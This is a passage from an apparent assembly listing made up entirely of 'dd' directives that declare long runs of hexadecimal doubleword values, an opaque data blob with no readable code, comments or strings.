0FEF713B3h, 0F0401415h dd 51A0BF00h, 45266E5Ah, 54F94D00h, 0B4744C03h, 3A550283h dd 982471A8h, 4E2994A0h, 9A019495h, 8BACF4FAh, 0A851C638h dd 0D20859h, 0EA037D58h, 0CF6D5E00h, 0EB2462Bh, 540F0FCEh dd 75C0DC91h, 1855070Ch, 9CAFBF06h, 2990F3BDh, 19F8458Ch dd 0F22A107Bh, 6F35DF21h, 0F8B4C160h, 9D0CA82Dh, 342B1F6Eh dd 98E78009h, 0AEFE0E5Ch, 0F702DA01h, 0BC78C49Ch, 23BE31BEh dd 0BB836F1Eh, 35E5FA6h, 0E8756D55h, 0CE0A0498h, 0F61E3600h dd 0C14541AEh, 65500309h, 9425D785h, 0F384F8E1h, 0DD40800h dd 0CED68E3h, 6261C097h, 456C4F9Dh, 2A031900h, 7C85B1B4h dd 20A4005Dh, 0D6B68C3Eh, 0AE06F2ADh, 8D5113DDh, 401777E8h dd 0EC1403DCh, 87ACC349h, 5A10095Dh, 6341116h, 77C9E7A9h dd 1C013828h, 414956BDh, 99E4AA50h, 0E37B0104h, 12B38A9Fh dd 0FC97D85Dh, 5600B6F2h, 0D4D3964h, 9B496Eh, 0ECBE2874h dd 3B9FEBB2h, 0A036B910h, 0C2E93078h, 8BDF9E08h, 0A8CEDB00h dd 0ADC94CB4h, 3F6A000Ah, 0C2A4E441h, 23007822h, 2E76A5D9h dd 0C827A05h, 0AB439EA8h, 9D188A40h, 0B599080h, 1FB1F067h dd 43CF828Ch, 5D8F9EEAh, 7A4755E8h, 77F41F16h, 2B30A401h dd 0FF9AC7h, 0CE391789h, 0F0F78270h, 0D2373Eh, 0A4E7459Fh dd 1DD1B08Bh, 0AAB131Dh, 8E80BF7Ah, 77A058F3h, 0E2BA75E4h dd 4F07717Ch, 0C74069D9h, 0E6EC4650h, 56E70279h, 9E7475C0h dd 0AAD99100h, 2067054Bh, 818DC978h, 0E18CA1F4h, 10D74680h dd 83825218h, 0CDFFD9h, 692FE45Dh, 976D870h, 0A1798B07h dd 6D40C735h, 0C0EE7EDEh, 53BCD361h, 0EF0745E4h, 4E5AEAE9h dd 856F7731h, 24F6E820h, 0C7419Eh, 50AD8CAEh, 0A500B351h dd 9FA1523Ch, 1ADE18h, 0AEEE9B92h, 7F841B3Fh, 0A0ACCE00h dd 0EFE1B7A7h, 0DE90016Bh, 3DDB219h, 7B21CDh, 0DC11AFC9h dd 0B530EC74h, 8B7B20E1h, 18B000CDh, 3FDEE76Eh, 0A800BE69h dd 6F02D03Dh, 60AE57FCh, 0ED2D68BDh, 0C301E13Ah, 0DF9CDD3h dd 0A8E33DB2h, 35E53F8h, 3276C923h, 830EE8Ch, 40F02118h dd 0CB060550h, 0C7647AD4h, 3CEC2A92h, 88CABB19h, 0B3A3CC3Dh dd 0B5C30C0h, 61F29E5h, 79178DB0h, 0C2208842h, 0E131C0D3h dd 89D32BFh, 0AA03A2FEh dd 38BC7AEBh, 8E5BE020h, 0D39F0319h, 0AE50863Ah, 9200B879h dd 4A736466h, 37B0C5DFh, 6089734h, 0E773203Bh, 0F0336407h dd 0E8133CB8h, 0BB50043Ah, 0C39F18DCh, 72E8F9D0h, 150060A3h dd 55A28AD9h, 842745h, 131802EBh, 5ECE8C75h, 4BBAE90Fh dd 4C01E9Dh, 0FB643A2Dh, 0AE1F002Fh, 0C184CFA6h, 9C0094B9h dd 6BBD2731h, 0D7CE57h, 4F18AD74h, 818E2FC5h, 0F6CA2100h dd 317BA805h, 7412001Fh, 634B083Eh, 5D0047C4h, 14AF68BAh dd 7A22C64h, 6DE6DEF4h, 2BD74059h, 0C6FAC4FFh, 9C429D00h dd 17378285h, 3F811812h, 5802EA9Fh, 6632E17h, 0B887850Dh dd 824EFCh, 169B7AECh, 989FA48Eh, 0E4CFFE4h, 0E3CB0028h dd 2E0A3693h, 71350013h, 0DC284A1Fh, 9C0FC74Bh, 548469h dd 0DDA236BCh, 388FE249h, 0D801328Ch, 11E3D456h, 7E1EC4ECh dd 0C94F3A00h, 39EFAD82h, 164E0018h, 2F890F12h, 5900878Dh dd 4C4BE2F8h, 90C51A82h, 389570DEh, 29075C39h, 0F0FD2F9Ah dd 1ADF0587h, 0C9495302h, 0C0544834h, 3C4FB607h, 0BC586E28h dd 5D9F0500h, 26431B9Eh, 84419700h, 48C2860Eh, 93D0F04h dd 1380B5C8h, 442AAE6Ah, 26644000h, 0AD077288h, 0F8320609h dd 29C5C93Dh, 10A3AE22h, 11C12D19h, 0AB3A0809h, 0A1441244h dd 0C513E9FEh, 8D4A4494h, 1428364Ah, 1281451h, 0DAF21028h dd 143A28B4h, 89C0A210h, 1C44FD39h, 84FE7944h, 0BF946A10h dd 10289928h, 10C2E590h, 2900A262h, 0CDA79FB7h, 24013351h dd 477868AAh, 9E70F535h, 4C340EDDh, 0CF4044FDh, 824BFEF8h dd 0BEE4CC01h, 0C6BC8809h, 633AE4h, 6F7A59E7h, 33706D7Bh dd 56C8B901h, 2BDBDD06h, 3B2652E4h, 32A6E47Eh, 96C20047h dd 1F480AFh, 0A4A14C00h, 5FC43DD6h, 0B143834h, 48BCC780h dd 5274871Dh, 0A5B89A00h, 9490A8F1h, 0C97DE4h, 4FE00F01h dd 0C02245D7h, 24785E00h, 0EC17CD77h, 7E8000F6h, 0E3729505h dd 5D06AB9Ah, 830963ACh, 8F70781h, 0B07F7406h, 43727839h dd 759DF38h, 7D1A362Ch, 5AD52D00h, 0D2FA00AEh, 0B3D4E520h dd 730E4872h, 0E0EC6936h, 57324DC0h, 37AD0094h, 65B40F26h dd 0AA00DE1Fh, 353422Ch, 0F9AFEAFh, 11394FAEh, 4B7EA4A0h dd 3C003DF4h, 5FD4C640h, 0D2E2C8h, 377A893Bh, 0C29AA92Bh dd 0B0812A14h, 4CFB0E84h, 0EC6CBF8Dh, 8567E400h, 1D09B8DBh dd 8378B4A0h, 2E7523ACh, 0B555E1E8h, 42611E00h, 1D4BA618h dd 9C5E0059h, 6FBC8DF3h, 0C90089BFh, 18482AE8h, 1F62CAD4h dd 807C3194h, 0EC3BC62Eh, 5E6BC87h, 0C7FD3D00h, 28849BE3h dd 1C017852h, 0C0548D8Ch, 8996F253h, 22004492h, 62F1CA58h dd 0A027ABh, 6979D710h, 0E15E4C36h, 0E20F9878h, 0C04D0D06h dd 8D99BF66h, 504E4C2Bh, 96B3805h, 0E7CF0585h, 0F4F8001Bh dd 0C1345B4Ah, 64E53C00h, 0BD94EB3Dh, 2E5E0031h, 356D67Ah dd 2C0FF927h, 563967C0h, 23CFC200h, 4FD7702h, 0ABB41C2Ah dd 0F10480C2h, 5D0B766Bh, 80AD2F33h, 0CFF05767h, 69F2001Ch dd 0C5F84516h, 9513DD89h, 0FA8DA6h, 862D3439h, 274CFBA1h dd 0EDE00E81h, 0A6EB815Ch, 78206C81h, 0FEFC00C1h, 0E384BA09h dd 0F100B02Ah, 51B4DD8Eh, 0F68F10h, 0C58C1CDh, 15CF0756h dd 0FA78C00h, 977BF47Fh, 7614726Bh, 44D000E1h, 0A9EDB027h dd 7900569Bh, 5F4D5972h, 0E4FD628h, 0D437D1Bh, 0A2347F00h dd 7048477h, 3C452E8h, 38589Ch, 8134622Bh, 0B11FC0B4h dd 9943A400h, 659AF011h, 48A9244Ah, 6404002Bh, 0BCF437D0h dd 0B000FA73h, 22ABA38Ah, 0E4C44BC8h, 79800CEh, 1167BE74h dd 0A400D42Ch, 1BAE3986h, 16FF5Eh, 29DE834Dh, 6DE1DBD2h dd 83B077E8h, 94972A00h, 1C3A8DC8h, 0CE4D0076h, 9B7DBCA4h dd 9F0E6B13h, 80CB03E7h, 12EAB7C0h, 7F409FCh, 6D00FDA3h dd 0DA3A2790h, 1CC3DF00h, 0A04C9E96h, 7097781h, 4FDBE551h dd 1595100Dh, 298192Fh, 0D4316D24h, 7B09CA00h, 4C41A1h dd 6ECAD97h, 1541B3Dh, 80C3793Ah, 7E6CCFFh, 18DEB9h, 885D0ED0h dd 0CD0D5CA9h, 0D40040F8h, 0AE4AAA43h, 0DFE8D2h, 9F1CE56Dh dd 0F2290C47h, 238BC007h, 3DF0A865h, 3FDB192h, 0C2DCEA0Dh dd 898A714h, 6F1424A1h, 1A067B7h, 8B84C077h, 47D436C8h dd 0FDE30390h, 8F8C5C38h, 0C655DBF0h, 0AB9F7600h, 0CC80A958h dd 0DC72016Ah, 6FEE9525h, 0AA9420BEh, 8703CF00h, 0AF2C62E0h dd 167F0385h, 0AC49F04Eh, 55A87400h, 0EAB4D990h, 0E0C9002Dh dd 0B345CBBAh, 860089C2h, 1FE84133h, 9E61E11h, 0B922C705h dd 0FCC23B03h, 844672F8h, 422FF4A8h, 294B7500h, 47878E6Bh dd 5FAAA095h, 0EAF90F55h, 8620C52Ch, 8D123FB2h, 4604257Dh dd 28097E7Ch, 0A831C080h, 73A500B6h, 71FEEC59h, 0B9A0309Eh dd 6407A91Ch, 0CA043985h, 83666370h, 0BB930067h, 6126ED14h dd 7100E6A6h, 1CAB6A22h, 1E72BB1h, 33670EC0h, 60433C81h dd 9A002E38h, 0BB99E0CAh, 0E0A8EC5h, 0F9DEE79Eh, 8B18F0E0h dd 0F10E2CDFh, 6133732Ah, 9FC0636Dh, 0EC64D880h, 26AB8B6Fh dd 2F008C74h, 79D0AE9Dh, 53195Eh, 87C02E7Ch, 0D8DF52D9h dd 80B51A39h, 0ECDE05F2h, 0AAFDA2h, 378BF87Dh, 18316680h dd 4335F000h, 781D328h, 705D1858h, 780EE648h, 0CC96D550h dd 45CD7203h, 0C0E43E5Ch, 3EAA09Dh, 3095001h, 0D0F0C2B4h dd 52588F86h, 80EF3954h, 0D315CC46h, 1323BCh, 3AA32958h dd 0B3A56904h, 14714Ch, 0DDACA73h, 4914D4h, 6E10E7B1h dd 6C1F5E27h, 7A68A001h, 9B583C02h, 1E987860h, 80E62F05h dd 0EC8884C4h, 5100622Ch, 5608552Eh, 0AE17E24h, 37985210h dd 6783DA0h, 0F868063Fh, 4212D871h, 1607F70Ch, 0EE0F33Eh dd 9003C1h, 0F219C429h, 9F3D6AC9h, 1CBD150Eh, 77A69ECh dd 24907DA8h, 0D168CFh, 2A5AFCB0h, 71957820h, 0C5AC6000h dd 3CF47C49h, 1BED38B2h, 81693h, 1AF951BDh, 41F432Dh, 0B59D34D7h dd 0FD4F300h, 692881h, 3E0BC031h, 0E585EAD9h, 9559C92Ch dd 805D8609h, 473696B0h, 241C5CCBh, 95487C03h, 0D000C16Fh dd 9FFC9A0h, 21798Ah, 0A19452Ch, 31F4139Fh, 91AC7F00h dd 0CD1DC782h, 120100BBh, 0B9CB7458h, 0A43EDA8Ah, 0C00380E6h dd 0A782072Fh, 7983F88Dh, 0EFB30016h, 7E71867Ch, 0D4139041h dd 1000F4C2h, 97E70891h, 0E81000AEh, 0B9D5BB56h, 21003D3Bh dd 7541C10Fh, 0BFF804h, 0E5E2DFECh, 0AABD2882h, 0C906E300h dd 886C9485h, 33370032h, 1AFFDDA5h, 0CA180A2Eh, 0DCD88A35h dd 0E068003Bh, 868CD4E7h, 0C8C09241h, 8ACA8011h, 8E3F0088h dd 0E01B601Fh, 0C875E66Fh, 91CEA0Eh, 0D8007342h, 0CCA27357h dd 3081EC25h, 6FD88296h, 934D5A21h, 0C3CF0084h, 52F74555h dd 0A52800C8h, 866BE135h, 0AB00909Eh, 8EC6E4AFh, 3BCDA6FEh dd 0C300C8C2h, 3FD89593h, 0AE00B7C9h, 8AD2E6F1h, 694B974h dd 0AA6B0759h, 0B377C86Fh, 0FF15F300h, 0BF2AE928h, 0F5631761h dd 8C00AAA8h, 8FE4999h, 0ED560094h, 0A3BAC0BBh, 0CE00EC78h dd 0A5B90E74h, 0FEF520h, 0C0194D26h, 2371C939h, 88045A0Eh dd 28C6406Dh, 1C929C03h, 808D1A7Eh, 0AE73300Fh, 6F00BA79h dd 1E9505FDh, 0BC81D5h, 6DC5E4ABh, 0A5B28B5Ch, 5B1B1800h dd 0B93F023Dh, 9A751F4Bh, 0C484C04Ah, 4E056CDEh, 0D5234F1Dh dd 3D9F7980h, 713ABB78h, 0E61C4818h, 97BED40Bh, 5AD7D000h dd 16076562h, 2AB96B1Dh, 6F51191h, 0E1CEF530h, 3A5C58E8h dd 0DB00786Ah, 0F0A4358Dh, 0F50B59B6h, 1C05B76h, 2F811D8Ch dd 2A008428h, 0A3E0FE2Eh, 0D8906393h, 7A057DEAh, 6A7C148Ch dd 0D23870C0h, 0C427706Bh, 811B4111h, 0C8FE99D4h, 677825D8h dd 8AE8EC00h, 0A954F5B6h, 0DB15007Bh, 2E2126F7h, 0B0A843D5h dd 27245804h, 0E080FCA1h, 0ADB76B82h, 0AB735Eh, 52DF1169h dd 2EE32CB5h, 0A46AFC06h, 3B81CAEh, 9BA7C002h, 46CA5625h dd 0B328A840h, 5D3AE700h, 0E276323Bh, 0B14E3A61h, 9787EE80h dd 0C5C1C049h, 0E004F60Fh, 0E3FB2088h, 188DB474h, 886B4791h dd 4389407h, 0DEB09FEh, 4A1CA00Bh, 4853450Ch, 1300CCF7h dd 7243F69Dh, 0BC029774h, 0B2E557DAh, 3D33E025h, 2CB80BADh dd 0F420B4B5h, 82A7F7F2h, 800F21F6h, 0F22FD22Ah, 0E056600Fh dd 0C29F626Ah, 0B220261h, 1CE7470Fh, 0C04F94C1h, 68904ACFh dd 0EB63BD03h, 27A75Dh, 5AB9A910h, 0C18560D0h, 71003E78h dd 27A3ED0Bh, 39CFFCh, 0C0D26C70h, 558A71Bh, 0C2A43002h dd 40F2F620h, 2B59D0h, 0D3E4D8C4h, 38785EDCh, 3DFAC53Ch dd 2CE2878Fh, 321044CAh, 1863F0Eh, 507ED452h, 0F8DF6BD5h dd 750B01FCh, 365C055h, 0D81F35C5h, 488717ADh, 67009820h dd 59C49E53h, 0F0ED1A0Fh, 0AC9848E7h, 4E680400h, 1073DED4h dd 0EECD00B9h, 3CEA61D7h, 0F003A68Ch, 0FA7A8174h, 58F3D0F4h dd 2C90399Ah, 95F87F83h, 0FBB82EDCh, 861CCAC4h, 0EB8C7A96h dd 2E2BD834h, 85C03745h, 0C0F827B9h, 0BF6A1F1Ch, 91DA200h dd 70B3C960h, 5672A6h, 80B27FA5h, 0FF2ADBC7h, 81D42300h dd 6670CEFh, 0BF870064h, 4CBAA695h, 0A101BEAAh, 0EE81969Fh dd 0D730D886h, 0C97F383Dh, 874B3B0Ch, 930995E1h, 1B240BAh dd 29811258h, 434B424h, 75E14430h, 0DE9D43EDh, 1CE0E001h dd 13BE003Fh, 0B14B178Dh, 701C5268h, 9D843D55h, 1A83126Ah dd 0DA04918Ah, 0EEAEBDC0h, 0E2A10039h, 992C95E6h, 7C389D73h dd 0E5810E36h, 9B4FE07Bh, 1233715Bh, 247B359h, 70EE7E63h dd 459555C0h, 8169AC03h, 90DA8B8Fh, 0C082EE4h, 964CD063h dd 2700AAC0h, 0EC8C40F9h, 24BFCA35h, 4B45AB7h, 0C0E29612h dd 4306D6CFh, 76555800h, 6BEE6E4Ah, 0DEBD0908h, 90074AFh dd 0D0AA8FA0h, 40E23209h, 7FB802A2h, 8449C0A7h, 9F0B0037h dd 0A5B1FD39h, 7E0014C3h, 0AEF596B5h, 77AB70h, 79864582h dd 9C44A63Ah, 0BD9A5700h, 23A39767h, 0CE4C3E92h, 0BC15B200h dd 0E518D46Ch, 67EA350Bh, 85D4205Eh, 6BE5Fh, 0B9D1BB71h dd 0B704DBE6h, 11AF4900h, 0FCE77E42h, 941500DCh, 0C6BEEDA2h dd 0C07E21F5h, 6804BA77h, 22A9A55Ah, 0C4E2B480h, 0A1AC004Eh dd 6FDF4538h, 9E127C64h, 0E002122Fh, 80C99783h, 0F14B04A0h dd 73089A70h, 78100C7h, 7A750510h, 45249255h, 803CEC06h dd 63441DD2h, 7C310D9Fh, 289E0379h, 2EE55059h, 2C0802D0h dd 0AB675402h, 804F669Dh, 7DCAA7A4h, 88B6005Ch, 50EB42EFh dd 1D002132h, 0ABA07F80h, 90B4F811h, 4F9B3E8Ah, 0EA8CB181h dd 0C4337249h, 0D10BAB0Eh, 80CF3899h, 0FD7B9B5Dh, 0A9290911h dd 2C00DC1Ah, 4804DFACh, 6AE03160h, 75B78F71h, 0F964001Dh dd 73CEF6DCh, 76007FC1h, 522B2E8Ah, 7BA1EDC5h, 20BE81Eh dd 0D219E6ACh, 0C85808F3h, 0AF994A00h, 784F222Ch, 71C10243h dd 0DBBBB838h, 238E74C0h, 543A6D00h, 6301581h, 4594A040h dd 8F5A1F2Dh, 56D04129h, 503F34FDh, 0CC287FB0h, 5D8C4FFh dd 0CF6BEF00h, 44AB7621h, 51D33FF6h, 2832CD00h, 0FBDA318Eh dd 0FA602F02h, 60B88827h, 0A88C3BCCh, 504923DCh, 33EF9E52h dd 5CA96803h, 58386800h, 0ACBDF175h, 4BF49294h, 2AFC3093h dd 22764DEDh, 0C3FF7D08h, 0C8E01F4h, 0FCE1FC31h, 8D004CF6h dd 0EE2F4ACEh, 0FFE97Eh, 17562AE8h, 4E941C01h, 0F1EC5A01h dd 860AC497h, 988C9993h, 0D91668D4h, 94B0C28Ah, 0AB5D031Bh dd 1D601E87h, 2F8875CBh, 9300AA80h, 0E6A531BDh, 5855D3h dd 5CBB74B7h, 2142FAD2h, 0E5A39400h, 80163966h, 75EA903Ah dd 0C10F00BDh, 0ADEFB1CDh, 9B001353h, 59826265h, 40FBDFh dd 2AFFDB9Dh, 0E6BC71B2h, 0EECF93Ah, 2021861Dh, 26295B13h dd 0BF030020h, 0D6A09E5Ah, 438FBD0h, 7628F77Bh, 0B700EC2Ah dd 701FCDE5h, 58714B94h, 880008A5h, 0DCACD99Dh, 0BFF60ADEh dd 1C993100h, 847E82ECh, 18B028h, 178FC12Ah, 0FD0BC0A6h dd 8C34CB00h, 0DB629471h, 5C7648DDh, 0D344AE02h, 5E607B4Dh dd 0F5EA633Ch, 0AEBF600h, 31B3CE34h, 2A1B00BFh, 0A68DFAAAh dd 0DC00CF16h, 14FF5DE5h, 1CC7D37h, 0E8886B50h, 24C6B1F6h dd 0D510045Ch, 281CCFC8h, 0F7854B9Bh, 0B2C21490h, 0AAF1D40Ah dd 690FD48Dh, 242780FBh, 2875A2h, 3FCD5107h, 0E861F979h dd 13367F03h, 0A0ABBFA5h, 9ABB437Ch, 985A002Ch, 5B3710D7h dd 6209D02Bh, 60431ADFh, 0E21DB8h, 897550FDh, 7816AEF2h dd 9E11E800h, 58A4CBE7h, 0DED50F72h, 350043A8h, 7B818E5Ch dd 94BB3Ch, 20338885h, 0FCFA9C11h, 0FB220034h, 7AC5961Ah dd 92004401h, 54C8C751h, 2EBBF1FCh, 80582540h, 17B7BCFDh dd 0A54CB637h, 0F8970278h, 71151BA4h, 6EEA8008h, 0CFAA7279h dd 471FD898h, 8C5CB6C7h, 0B7C4A600h, 96E83h, 7D1CD5C0h dd 61B929FCh, 6EA0B0Bh, 76DD80D0h, 1ED14551h, 0C185BF11h dd 5EDE02DAh, 0BC0E2F8h, 370F82E9h, 0B654ABh, 5DA964D5h dd 594A00E0h, 9FAFA37Fh, 3C2563E7h, 0C7D441h, 3DB13F7Dh dd 0B000F82Ch, 90785BE6h, 0FAB29FDFh, 0EC7B31h, 2FC1DB21h dd 0BE3B4E40h, 1154D100h, 0ACAEA67h, 64E300C6h, 49E95EF8h dd 0E700485Fh, 0FDC303Bh, 0ECB6E056h, 0F47D001Bh, 4A7FB901h dd 0CE4C1788h, 48B200ECh, 21C051AFh, 7B200FE8h, 0BB8085B4h dd 0D4DBB683h, 19B8F000h, 642B7E68h, 4CA7EC09h, 0E7002820h dd 0B44E2DD0h, 0C5E2ED22h, 0AC46E32Ah, 3B8A4400h, 236C5456h dd 1B930083h, 9DCA2DE5h, 0BF07EDE7h, 0A6F83BE3h, 0D0532C40h dd 0DCD4398Dh, 0DB0CD80h, 4F842A5Dh, 0AEE3DF00h, 0E5EC3D5Eh dd 7A4981Ah, 2CDE1F61h, 60653033h, 0CF17BAC5h, 80004BB9h dd 357BE0B8h, 0F8DA00F6h, 62A1745Fh, 0F37F7023h, 0D3727800h dd 5BF267F9h, 32C01F22h, 0B8A6D8h, 0CE84E966h, 370C5482h dd 28193A96h, 0E82044BFh, 0BEA6F018h, 535D10h, 0E672D771h dd 3D0BF6EBh, 2C48F848h, 9A005F0Ch, 7B60B650h, 911F38D5h dd 7CE93C00h, 542A20EBh, 6F8C030Bh, 79FC8081h, 1D564F4h dd 0FEE1276Eh, 31E77FDDh, 955820F0h, 8063E605h, 0BC0070A8h dd 1D68E9B5h, 39F5009Dh, 9518C9DBh, 82008ECBh, 44F7E494h dd 88069Ah, 0C6C16B28h, 0B0651CE1h, 73BA4F00h, 978E9C33h dd 677F013Fh, 352E81A3h, 22E0748Ah, 4301157Ah, 0C0E55689h dd 0AAED9667h, 0AF5E30h, 9272F155h, 1B876A1Eh, 47B5E300h dd 54B438C6h, 227F0Fh, 5FF3E216h, 329505E5h, 6F44C916h dd 0D107EB00h, 0D961E4h, 5E274F6Dh, 5AB2F751h, 76863D12h dd 70322F07h, 0C097FE73h, 0BB7C11Bh, 0E7C3F448h, 53FA3C00h dd 9502F740h, 732D8071h, 0AF2800Eh, 0FE084Fh, 228E02D0h dd 3C69D6F4h, 0FFF5CE17h, 4A8CC0D0h, 73DC9832h, 15510021h dd 2724C923h, 0B80006C0h, 0E8A3F0A4h, 1668D09Fh, 6F5583h dd 9930E708h, 7250EEDBh dd 1A0095A0h, 0B7D93BBCh, 2E986F64h, 5D865Ah, 0A7CBE99Fh dd 23000C4Bh, 818A26F8h, 0B01E34C9h, 0C32E0030h, 0D5A3BD54h dd 2F164767h, 3C005E8Fh, 0E7E4D38Eh, 41B4B093h, 0C044640Dh dd 62632A07h, 0C1711E52h, 0AFEC8826h, 2C460093h, 1D8C21A9h dd 8A0E3ADAh, 60316639h, 6CDD64F3h, 8DCA012Fh, 976D5F7Dh dd 9C002A5Dh, 940F7BAEh, 741B00ADh, 0AACFEE72h, 0F800E306h dd 0D211CCCBh, 37DE8DAh, 0BBC1B283h, 77DB886Ah, 9BEA2FC8h dd 0F54A3200h, 5179D529h, 0EEA1095Ch, 0FF65h, 2BBDA862h dd 0EF00C8D4h, 81946211h, 81555AB8h, 0E4D160h, 0BEB40A72h dd 9735BACCh, 7FDF9D03h, 0B0218179h, 0F02AB615h, 0A2831EC0h dd 0C00A9665h, 0CFA1CDDCh, 1D00A5FCh, 3E771F14h, 0BA77C6Dh dd 7A5230C3h, 646CF4A0h, 0A200C785h, 9895C126h, 0B2AF35h dd 9C0D2CCh, 873D679Dh, 5A1CE500h, 0ACE414DEh, 86D03AA1h dd 911EA080h, 969FA31Fh, 70AD900h, 0D60C58A7h, 2EE80715h dd 0F09BFAE7h, 0DEC0100Dh, 0F6490E00h, 4A2AD6CEh, 0A9DF006Ch dd 3CED232Eh, 5A001E65h, 5C509516h, 1A2A28h, 0BEC1D41h dd 1E59265Bh, 48CC0200h, 306623FBh, 0EB8A00FFh, 902E503Dh dd 7C00CF1Ch, 0C33A814Bh, 3BCC7924h, 910AF5E8h, 0B854D4h dd 0E546B2D0h, 14048B72h, 0BF9DECD1h, 108A0h, 0A7AF76BBh dd 0CDF7FBA5h, 0A300C790h, 10492AF9h, 213D06h, 1AD68737h dd 53ECE5Ch, 0E8F1C900h, 0BB1FC2CAh, 0B2EF00DDh, 0C39FECE5h dd 96128F0Ah, 20456653h, 0C80EC6F1h, 0E9A24356h, 689DB04Dh dd 8274014Eh, 0F631139Ah, 9F908095h, 0F9AF71BCh, 7CB507C9h dd 40FFC8ACh, 743032F6h, 0B30064BAh, 0E7E96983h, 4095219h dd 9D3E1678h, 0F358C337h, 0A6EC1812h, 25E1BCE1h, 77FE60CEh dd 2E332816h, 70D61524h, 5900841Dh, 75452779h, 0A7142BE3h dd 26088156h, 6E0002C3h, 0C085F9CCh, 0BA04007Ch, 1ED8103Eh dd 6FF68264h, 6DA34105h, 23C089E0h, 765242h, 53C586B5h dd 0F944D5E8h, 8F63CF3Dh, 407140B8h, 657D88F2h, 224E0042h dd 8223771Dh, 3C00791Bh, 0FE2D5BC0h, 24F6F3h, 0A5391568h dd 0A4F55133h, 80D96D30h, 90ED41CDh, 0F98D0ECDh, 88C0C982h dd 3D96A8CCh, 0F0003978h, 774EFF53h, 1C45642Ch, 81D226A9h dd 0F5B47E8Bh, 0C4D9E1CEh, 9B0010FBh, 44DB43EAh, 0F2DCC1E1h dd 847A0097h, 16FD956Dh, 5B004A64h, 0DA62D468h, 4BECA0h dd 17B2D99Fh, 995ADDFCh, 10596F00h, 5533CD03h, 51F103E5h dd 39787169h, 42163AD8h, 0F91AD702h, 0A5D8C4A5h, 42AEDA4h dd 4F6200EEh, 3B0FA0CAh, 60B400EEh, 0D14806FFh, 28C72E02h dd 9996F6h, 207EA3B0h, 71BD16ABh, 0F3CE00F9h, 0ECFD21D1h dd 2DEE630Ch, 84822912h, 4216A822h, 0BF511EDh, 11234611h dd 492118CEh, 941CA708h, 6811288Ah, 3E352113h, 440E1450h dd 1D445722h, 0E2228411h, 3C125008h, 1D1C4487h, 144E5084h dd 806EE656h, 79880F02h, 0D77A88E2h, 7610DA89h, 0D60021FEh dd 3888E157h, 774B43B5h, 0EC2200C1h, 9A2741A1h, 57736D9Fh dd 0A97CD500h, 2D89F6FBh, 30B40039h, 5ED1C04Ah, 0FA0E4FD2h dd 20C6CF57h, 18C73D71h, 70B700CEh, 390748ABh, 583B6E8Eh dd 0AC058033h, 0A73764BFh, 0A8E30059h, 0F312B732h, 21009A51h dd 6D4177DAh, 3C86F2DDh, 0AB810F3Fh, 0F83446E6h, 2D5FC44Bh dd 1D240600h, 5428951Ch, 77C50060h, 5A6F8721h, 76094884h dd 3F7EBAh, 9862451Ch, 0BBD7006Dh, 8423E126h, 2200D218h dd 24F3DA34h, 0FCEBC99h, 9181AD43h, 2BFB2900h, 21004055h dd 1B3654A2h, 0A3C375h, 457615CEh, 1C1A463Bh, 0DF7E2D00h dd 0EE67076Fh, 0C07F7E80h, 0D3680618h, 8F00BFECh, 7C8EEBD6h dd 2D77F3h, 8638CA85h, 62099935h, 770C949h, 17E0A2C2h dd 64459C40h, 0CAF40043h, 65161952h, 0D073A06h, 9E9F7B61h dd 0B5E2D60h, 0E08D00F4h, 0CF0664ABh, 9002FA4h, 10F21B15h dd 0F01AD3D7h, 0E6C70024h, 32DD1D5Ch, 0B30096B2h, 0F2FE089Ah dd 0EA9258h, 27FB80Eh, 0BC1E45E5h, 0B650CF60h, 747251h dd 0B88750EBh, 6393553Eh, 0EDCAF505h, 880C564h, 917367h dd 0EA6B154Ah, 57A0FAA2h, 52063417h, 0D4ED3000h, 146E324h dd 0F40E23D9h, 0E5459971h, 6B6CE0DFh, 0D71E1E63h, 5BA19095h dd 0D56F0090h, 7D506685h, 0C100F1CEh, 4519ABECh, 0A01C977Ah dd 4A8F7698h, 373F8059h, 610093CBh, 4C428998h, 0A2CF77h dd 0D8EAD9EDh, 0A8437A25h, 0B78A9F03h, 0C8AE9C34h, 0F52E66Fh dd 555DBFFDh, 0A0513F42h, 0FCF778E0h, 9300F570h, 0BA79911Dh dd 915AAAEFh, 0A1D18h, 8765327Ah, 0EB7707F6h, 3F58E200h dd 16F8E9D3h, 743D00ACh, 0CE8B43D5h, 2E04DDE4h, 1D9B0776h dd 34824880h, 26CB01BAh, 9D50A67Ah, 0EFA4C0F8h, 0E3921200h dd 1F5ADEB7h, 0B9483A36h, 21E850h, 0E60360C3h, 93BDC076h dd 0FFD048h, 33CFAD2Eh, 0F2436C08h, 1B7400FFh, 35A3541Ch dd 0B01E184Bh, 0DC006DB6h, 24EAD166h, 77F672h, 0D4F61F19h dd 2003B657h, 998BAEA0h, 4D5C2F00h, 0BF594ED9h, 0CF0518D6h dd 5616B818h, 0F954FC0Eh, 2A2F1Ah, 9BBEF7C5h, 897005Eh dd 0C3D205BAh, 0DEE672F8h, 0D7D2800h, 0EAFE6C6Bh, 0BCC81E76h dd 40A1C07Eh, 779F3799h, 92B611Fh, 0A5FA7900h, 52613E7h dd 0DF15EB41h, 5CC500D0h, 72B59C71h, 0DC6F8D00h, 0F7CCFFAh dd 56EB13B7h, 6234005Eh, 589AC6F3h, 4C32BB00h, 8DA7C77Bh dd 34750C13h, 7E502C93h, 5C2D7800h, 708C0BA9h, 7C57DB0h dd 33F071ADh, 0C09AA465h, 0A44A7A00h, 80BB8438h, 41A5CD3Eh dd 0CA7130h, 605B8CC5h, 0F18FE411h, 50DF59h, 1FA1039Ch dd 0EB0E6DEh, 0E9856701h, 6E3D32E0h, 0A7001128h, 0CC7FF331h dd 90BFC7ABh, 70DB1C20h, 3C007FA2h, 0D4CBDAECh, 0E7004902h dd 0D8EFA60Fh, 3CB38832h, 9AB8ADB4h, 0DE22D80h, 0CC2B6D09h dd 0C003E478h, 0BAB893A3h, 599088BCh, 0DD400DEh, 0F5FB46E0h dd 3D01A28Dh, 1F0AB941h, 0B9EF8E02h, 0D1C8357Dh, 1389E039h dd 603B8BFh, 0D011042Ch, 0E199A900h, 0C3A0C620h, 552700B2h dd 0D526DA10h, 0D124140h, 4C1CE26Eh, 0ECEFC385h, 521DB000h dd 3889C75h, 53306465h, 3C981FE7h, 0C7046883h, 0C9519895h dd 2916E4C0h, 0A19D12B3h, 0CA580078h, 5B4ED59Ah, 6DA889E7h dd 0A98CA011h, 0CA286AB6h, 40B48D98h, 61A8BC7Eh, 0F8100803h dd 0D8F43F45h, 0C638B0h, 0E9551B88h, 37747606h, 8A216C00h dd 3452E360h, 42BE00D2h, 75DADC66h, 0CF00E0D3h, 697FEF1Ch dd 2CB5E2h, 3160409Ch, 0E18EEDF7h, 